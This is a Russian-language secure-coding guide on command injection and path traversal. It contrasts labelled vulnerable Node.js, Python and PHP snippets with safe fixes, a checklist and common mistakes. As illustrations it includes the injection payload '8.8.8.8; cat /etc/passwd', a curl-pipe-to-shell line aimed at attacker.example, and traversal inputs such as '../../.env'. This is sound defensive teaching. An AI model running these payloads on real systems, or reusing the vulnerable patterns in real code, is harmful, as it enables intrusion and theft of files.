Инъекции команд и path traversal: примеры атак и защита
Практика4 минРедакция Innovialabs
Коротко
Обе атаки возникают, когда ввод пользователя становится частью команды shell или пути к файлу; защита — не вызывать shell, передавать аргументы массивом, принимать только разрешённые значения и проверять, что итоговый путь остаётся внутри базовой папки.
Короткий ответ
Инъекция команд (command injection) возникает, когда код собирает команду shell из пользовательского ввода, а атакующий дописывает свою команду через ;, &&, | или $(). Path traversal возникает, когда ввод становится частью пути к файлу, и последовательности вроде ../ позволяют читать или перезаписывать файлы за пределами нужной папки.
Принцип защиты общий: данные не должны превращаться в код или структуру. Вызывайте программы без shell, передавайте аргументы списком, принимайте только известные значения и проверяйте итоговый путь после нормализации.
Инъекция команд: уязвимые шаблоны
Все три примера ниже вклеивают параметр в строку, которую интерпретирует shell.
// Node.js — уязвимо
const { exec } = require("child_process");
exec(`ping -c 1 ${req.query.host}`, (err, out) => res.send(out));
# Python — уязвимо
import subprocess
subprocess.run(f"ping -c 1 {host}", shell=True)
// PHP — уязвимо
echo shell_exec("ping -c 1 " . $_GET["host"]);
Если отправить 8.8.8.8; cat /etc/passwd, shell выполнит обе команды. А через $(curl attacker.example | sh) можно скачать и запустить произвольный код с правами веб-сервера.
Инъекция команд: безопасные шаблоны
- Библиотека вместо CLI. Нужно сжать картинку или собрать архив? Нативная библиотека полностью убирает shell из цепочки.
- Вызывайте программу напрямую, без shell, и передавайте аргументы массивом. Тогда спецсимволы shell теряют смысл.
- Проверяйте по allowlist — регулярное выражение для имени хоста, перечисление для формата, диапазон для числа.
- Защититесь от инъекции аргументов. Даже без shell значение
--output=/tmp/xможет быть прочитано как опция. Ставьте--перед пользовательскими значениями, если утилита это поддерживает, и отклоняйте значения, начинающиеся с-.
// Node.js — безопасно
const { execFile } = require("child_process");
if (!/^[a-zA-Z0-9.-]{1,253}$/.test(host)) return res.status(400).end();
execFile("ping", ["-c", "1", "--", host], (err, out) => res.send(out));
# Python — безопасно
subprocess.run(["ping", "-c", "1", "--", host], check=True, timeout=5)
В PHP используйте proc_open с командой в виде массива (поддерживается в современных версиях) или как минимум оборачивайте каждый аргумент в escapeshellarg(). Экранирование — запасной вариант, а не архитектура: один забытый вызов снова открывает дыру.
Path traversal: уязвимые шаблоны
// Node.js — уязвимо
const file = path.join(__dirname, "uploads", req.params.name);
res.sendFile(file);
Запрос ../../.env приведёт к файлу за пределами uploads. Та же ошибка встречается в Python с open(os.path.join(BASE, name)) и в PHP с file_get_contents("uploads/" . $name). Атакующие пробуют и закодированные варианты вроде %2e%2e%2f, обратные слэши в Windows и абсолютные пути: os.path.join("/data", "/etc/passwd") просто вернёт /etc/passwd.
Path traversal: безопасные шаблоны
Надёжная проверка: сначала получить полный путь, затем убедиться, что он внутри базовой папки.
// Node.js — безопасно
const BASE = path.resolve(__dirname, "uploads");
const target = path.resolve(BASE, req.params.name);
if (!target.startsWith(BASE + path.sep)) return res.status(400).end();
res.sendFile(target);
# Python — безопасно
from pathlib import Path
BASE = Path("/srv/app/uploads").resolve()
target = (BASE / name).resolve()
if not target.is_relative_to(BASE):
raise PermissionError("invalid path")
// PHP — безопасно
$base = realpath(__DIR__ . "/uploads");
$target = realpath($base . DIRECTORY_SEPARATOR . $name);
if ($target === false || !str_starts_with($target, $base . DIRECTORY_SEPARATOR)) {
http_response_code(400); exit;
}
Ещё лучше — вообще не использовать имена от пользователя. Храните файлы под сгенерированными ID (UUID), а исходное имя — в базе данных. Клиент запрашивает /files/3f2a…, сервер сам находит реальный путь.
Чек-лист
- Никаких
exec,shell=True,system,shell_execи обратных кавычек с пользовательскими данными. - Аргументы массивом,
--перед пользовательскими значениями, запрет ведущего-. - Allowlist для хостов, форматов и расширений файлов.
- Пути проходят через
resolve/realpathи сверяются с базовой папкой. - Файлы хранятся под сгенерированными ID.
- Приложение работает от пользователя с минимальными правами, чтобы успешная атака достигла меньшего.
- Code review и правила SAST автоматически подсвечивают опасные функции.
Частые ошибки
- Blocklist символов вроде
;или../. Кодировок и обходов слишком много — выигрывает allowlist. - Проверка до декодирования. Проверяйте то значение, которое код реально использует, — после URL-декодирования и нормализации.
- Проверка префикса без разделителя.
/srv/uploads-oldначинается с/srv/uploads; сравнивайте вместе с завершающим разделителем. - Забытые симлинки.
realpathиPath.resolve()их раскрывают, а простая строковая нормализация — нет.